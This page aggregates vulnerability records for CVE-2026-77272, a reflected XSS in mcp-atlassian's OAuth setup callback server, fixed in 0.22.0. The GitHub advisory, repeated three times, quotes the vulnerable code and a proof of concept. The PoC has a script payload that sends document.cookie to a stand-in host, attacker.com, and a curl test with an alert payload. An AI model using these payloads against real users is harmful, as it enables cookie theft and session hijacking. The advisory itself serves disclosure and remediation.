CVE-2026-77272
MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth error query parameter is passed to CallbackHandler._send_response in oauth_setup.py and interpolated into an HTML page without escaping. A crafted authorization callback can inject markup or script that executes in the browser of a user completing the OAuth flow. This issue is fixed in version 0.22.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.4
MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth error query parameter is passed to CallbackHandler._send_response in oauth_setup.py and interpolated into an HTML page without escaping. A crafted authorization callback can inject markup or script that executes in the browser of a user completing the OAuth flow. This issue is fixed in version 0.22.0.
- Record
CVE-2026-77272- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-84749
5.4
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth error query parameter is passed to CallbackHandler._send_response in oauth_setup.py and interpolated into an HTML page without escaping. A crafted authorization callback can inject markup or script that executes in the browser of a user completing the OAuth flow. This issue is fixed in version 0.22.0.
- Record
EUVD-2026-84749- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-g2r2-3j32-j27x
5.4
MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler
Summary
The OAuth 2.0 setup wizard's local callback HTTP server reflects the error query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the error parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (0.0.0.0), making it accessible from the local network rather than just localhost.
Details
The vulnerability exists in the CallbackHandler class in src/mcp_atlassian/utils/oauth_setup.py.
Step 1 -- Attacker-controlled input enters unsanitized:
At line 63-66, the error query parameter from the URL is read and interpolated into a message string without HTML escaping:
# src/mcp_atlassian/utils/oauth_setup.py:63-66
if "error" in params:
callback_error = params["error"][0]
callback_received = True
self._send_response(f"Authorization failed: {callback_error}")
Step 2 -- Unsanitized input is injected into HTML:
At line 124-125 in _send_response, the message variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation:
# src/mcp_atlassian/utils/oauth_setup.py:124-125
<div class="message {"success" if status == 200 else "error"}">
<p>{message}</p>
</div>
Step 3 -- Server listens on all interfaces:
At line 167, the callback server binds to all network interfaces, not just localhost:
# src/mcp_atlassian/utils/oauth_setup.py:167
httpd = socketserver.TCPServer(("", port), handler)
This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine.
Step 4 -- No security headers:
The response at line 84-86 sets Content-type: text/html but does not include Content-Security-Policy, X-Content-Type-Options, or X-XSS-Protection headers:
# src/mcp_atlassian/utils/oauth_setup.py:84-86
self.send_response(status)
self.send_header("Content-type", "text/html")
self.end_headers()
PoC
Prerequisites: The victim must be running the OAuth setup wizard (mcp-atlassian --oauth-setup or run_oauth_setup()), which starts the callback server.
Step 1 -- Craft the malicious URL:
http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step 2 -- Deliver the link to the victim:
Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.
Step 3 -- Verify with a simpler payload:
# Start the setup wizard (victim's machine)
# uv run mcp-atlassian --oauth-setup
# From attacker's machine (or same network):
curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E"
The response HTML will contain:
<p>Authorization failed: <script>alert(document.domain)</script></p>
Impact
- JavaScript execution in the victim's browser context during the OAuth setup flow.
- While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because:
- The server binds to all interfaces, making it accessible from the local network.
- The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174).
- During this window, any crafted request triggers the XSS.
- An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles
codeandstateparameters on the same endpoint.
Recommended Fix
1. HTML-escape the message before injecting into the template:
# src/mcp_atlassian/utils/oauth_setup.py
import html
def _send_response(self, message: str, status: int = 200) -> None:
"""Send response to the…
- Record
GHSA-g2r2-3j32-j27x- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
5.4
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth error query parameter is passed to CallbackHandler._send_response in oauth_setup.py and interpolated into an HTML page without escaping. A crafted authorization callback can inject markup or script that executes in the browser of a user completing the OAuth flow. This issue is fixed in version 0.22.0.
- Record
CVE-2026-77272- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
5.4
MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth error query parameter is passed to CallbackHandler._send_response in oauth_setup.py and interpolated into an HTML page without escaping. A crafted authorization callback can inject markup or script that executes in the browser of a user completing the OAuth flow. This issue is fixed in version 0.22.0.
- Record
CVE-2026-77272- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-g2r2-3j32-j27x
5.4
MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler
Summary
The OAuth 2.0 setup wizard's local callback HTTP server reflects the error query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the error parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (0.0.0.0), making it accessible from the local network rather than just localhost.
Details
The vulnerability exists in the CallbackHandler class in src/mcp_atlassian/utils/oauth_setup.py.
Step 1 -- Attacker-controlled input enters unsanitized:
At line 63-66, the error query parameter from the URL is read and interpolated into a message string without HTML escaping:
# src/mcp_atlassian/utils/oauth_setup.py:63-66
if "error" in params:
callback_error = params["error"][0]
callback_received = True
self._send_response(f"Authorization failed: {callback_error}")
Step 2 -- Unsanitized input is injected into HTML:
At line 124-125 in _send_response, the message variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation:
# src/mcp_atlassian/utils/oauth_setup.py:124-125
<div class="message {"success" if status == 200 else "error"}">
<p>{message}</p>
</div>
Step 3 -- Server listens on all interfaces:
At line 167, the callback server binds to all network interfaces, not just localhost:
# src/mcp_atlassian/utils/oauth_setup.py:167
httpd = socketserver.TCPServer(("", port), handler)
This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine.
Step 4 -- No security headers:
The response at line 84-86 sets Content-type: text/html but does not include Content-Security-Policy, X-Content-Type-Options, or X-XSS-Protection headers:
# src/mcp_atlassian/utils/oauth_setup.py:84-86
self.send_response(status)
self.send_header("Content-type", "text/html")
self.end_headers()
PoC
Prerequisites: The victim must be running the OAuth setup wizard (mcp-atlassian --oauth-setup or run_oauth_setup()), which starts the callback server.
Step 1 -- Craft the malicious URL:
http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step 2 -- Deliver the link to the victim:
Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.
Step 3 -- Verify with a simpler payload:
# Start the setup wizard (victim's machine)
# uv run mcp-atlassian --oauth-setup
# From attacker's machine (or same network):
curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E"
The response HTML will contain:
<p>Authorization failed: <script>alert(document.domain)</script></p>
Impact
- JavaScript execution in the victim's browser context during the OAuth setup flow.
- While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because:
- The server binds to all interfaces, making it accessible from the local network.
- The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174).
- During this window, any crafted request triggers the XSS.
- An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles
codeandstateparameters on the same endpoint.
Recommended Fix
1. HTML-escape the message before injecting into the template:
# src/mcp_atlassian/utils/oauth_setup.py
import html
def _send_response(self, message: str, status: int = 200) -> None:
"""Send response to the…
- Record
GHSA-g2r2-3j32-j27x- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVPYSEC-2026-4093
5.4
MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler
Summary
The OAuth 2.0 setup wizard's local callback HTTP server reflects the error query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the error parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (0.0.0.0), making it accessible from the local network rather than just localhost.
Details
The vulnerability exists in the CallbackHandler class in src/mcp_atlassian/utils/oauth_setup.py.
Step 1 -- Attacker-controlled input enters unsanitized:
At line 63-66, the error query parameter from the URL is read and interpolated into a message string without HTML escaping:
# src/mcp_atlassian/utils/oauth_setup.py:63-66
if "error" in params:
callback_error = params["error"][0]
callback_received = True
self._send_response(f"Authorization failed: {callback_error}")
Step 2 -- Unsanitized input is injected into HTML:
At line 124-125 in _send_response, the message variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation:
# src/mcp_atlassian/utils/oauth_setup.py:124-125
<div class="message {"success" if status == 200 else "error"}">
<p>{message}</p>
</div>
Step 3 -- Server listens on all interfaces:
At line 167, the callback server binds to all network interfaces, not just localhost:
# src/mcp_atlassian/utils/oauth_setup.py:167
httpd = socketserver.TCPServer(("", port), handler)
This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine.
Step 4 -- No security headers:
The response at line 84-86 sets Content-type: text/html but does not include Content-Security-Policy, X-Content-Type-Options, or X-XSS-Protection headers:
# src/mcp_atlassian/utils/oauth_setup.py:84-86
self.send_response(status)
self.send_header("Content-type", "text/html")
self.end_headers()
PoC
Prerequisites: The victim must be running the OAuth setup wizard (mcp-atlassian --oauth-setup or run_oauth_setup()), which starts the callback server.
Step 1 -- Craft the malicious URL:
http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step 2 -- Deliver the link to the victim:
Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.
Step 3 -- Verify with a simpler payload:
# Start the setup wizard (victim's machine)
# uv run mcp-atlassian --oauth-setup
# From attacker's machine (or same network):
curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E"
The response HTML will contain:
<p>Authorization failed: <script>alert(document.domain)</script></p>
Impact
- JavaScript execution in the victim's browser context during the OAuth setup flow.
- While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because:
- The server binds to all interfaces, making it accessible from the local network.
- The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174).
- During this window, any crafted request triggers the XSS.
- An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles
codeandstateparameters on the same endpoint.
Recommended Fix
1. HTML-escape the message before injecting into the template:
# src/mcp_atlassian/utils/oauth_setup.py
import html
def _send_response(self, message: str, status: int = 200) -> None:
"""Send response to the…
- Record
PYSEC-2026-4093- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
mcp-atlassianPyPI |
before 0.22.0 | 0.22.0 |
mcp-atlassianPyPI |
before 0.22.0, plus listed versions 0.1.10.1.100.1.110.1.120.1.13 Show 45 moreShow less0.1.140.1.150.1.160.1.20.1.30.1.40.1.60.1.70.1.80.1.90.10.00.10.10.10.20.10.30.10.40.10.50.10.60.11.00.11.10.11.100.11.110.11.120.11.20.11.2a20.11.30.11.40.11.50.11.60.11.70.11.80.11.90.12.00.13.00.13.10.14.00.14.10.14.20.14.30.15.00.16.00.16.10.17.00.18.00.18.10.19.0 |
0.22.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-77272 is a medium vulnerability (CVSS 5.4) in Mcp-atlassian Mcp Atlassian, published September 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.26%, the 18th percentile. Fixed in mcp-atlassian 0.22.0.
References
github.com/sooperset/mcp-atlassian/security/advisories/GHSA-g2r2-3j32-j27x
github.com/sooperset/mcp-atlassian/pull/1448
github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460
github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0
github.com/advisories/GHSA-g2r2-3j32-j27x
github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77272.json
nvd.nist.gov/vuln/detail/CVE-2026-77272
github.com/sooperset/mcp-atlassian
pypi.org/project/mcp-atlassian
Left out here: 29 versions and the rest of 3 source descriptions. The JSON record has them.